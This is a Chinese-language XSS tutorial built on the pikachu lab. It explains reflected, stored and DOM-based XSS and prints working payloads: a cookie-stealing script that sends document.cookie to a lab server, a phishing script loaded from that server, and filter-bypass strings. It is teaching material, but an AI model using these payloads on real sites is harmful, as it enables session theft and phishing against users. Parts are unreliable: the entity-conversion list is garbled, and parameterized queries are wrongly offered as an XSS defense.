XSS跨站脚本攻击原理及示例
XSS跨站脚本攻击原理及示例
XSS(跨站脚本攻击)是Web应用程序中最常见的安全漏洞之一。攻击者通过在网站中注入恶意脚本,当其他用户访问该网站时,这些脚本会被浏览器当作有效代码解析执行,从而对用户造成危害。本文将详细介绍XSS的原理、分类、危害以及防御方法。
XSS原理
XSS攻击主要发生在开发人员没有对输入输出数据做严格的过滤控制的情况下。当恶意脚本被注入到网页中,其他用户在访问该网页时,浏览器会将这些恶意脚本当作有效代码解析执行,从而对用户造成危害。XSS攻击属于客户端攻击,最终受害者是用户。
XSS注入场景
XSS攻击通常发生在各类社交平台、邮件系统、开源流行的Web应用、BBS、微博等场景中。攻击者会在Web应用程序的输入框、评论框、搜索框等可输入内容的地方注入特定的脚本代码,这些代码可以被Web应用程序直接插入到网页中,导致访问网页的所有用户都会受到攻击。
XSS危害
盗取用户敏感信息
攻击者可以通过注入的恶意脚本盗取用户的敏感信息,如用户名、密码、cookie、sessionid等,并将这些信息发送至攻击者控制的网站或服务器中。
篡改用户页面内容
攻击者可以通过注入的恶意脚本修改网页中的文本、图片、链接等内容,从而欺骗用户,引诱用户进行一些不安全的操作,如点击链接、下载附件等。
XSS分类
反射型XSS
反射型XSS攻击又被称为非持久化跨站脚本攻击。在这种类型的攻击中,交互数据不会存储在数据库里,而是把用户输入的数据反射给浏览器,一次性的。
弹窗提示,payload(攻击载荷)
<script>alert("xss")</script>
获取用户cookie,payload(攻击载荷)
'"><script>document.location = 'http://172.28.25.41/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
存储型XSS
存储型XSS攻击又被称为持久化跨站脚本攻击。在这种类型的攻击中,交互数据存储在数据库里,永久性存储,用户每次访问,恶意脚本都会自动执行。
xss钓鱼,payload(攻击载荷)
'"><script src="http://172.28.25.41/pikachu/pkxss/xfish/fish.php"></script>'
DOM 型XSS
文档对象模型(Document Object Model,简称DOM)是W3C组织制定的一个标准接口。DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。DOM型XSS不予数据库交互,仅仅涉及浏览器的XSS,是一种特殊的反射型XSS。
弹窗提示,payload(攻击载荷)
'><img src="#" onmouseover="alert('xss')">
XSS防御
- 对输入进行过滤,对输入进行编码。
- 使用参数化查询或预处理语句。
- 使用WAF(Web应用防火墙)。
XSS绕过
前端绕过
- 前端绕过可以尝试抓包重放。
- 修改前端HTML代码。
后端绕过
- 可以尝试大小写混合绕过。
'"><sCRipT>alert('XSS')</sCrIPt>
- 可以尝试双写绕过。
'"><sc<script>ript>alert('XSS')</scr<script>ipt>
htmlspecialchars()函数
htmlspecialchars()函数的作用是将输入内容转换为HTML实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle
规定如何编码单引号和双引号才能会过滤掉单引号。
过滤原理
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体:
&
(和号) 成为&
"
(双引号) 成为"
'
(单引号) 成为'
<
(小于) 成为<
>
(大于) 成为>
导致script标签再输出的时候变成了<script>
。
单引号绕过htmlspecialchars()的payload
x' onclick='alexrt(111)'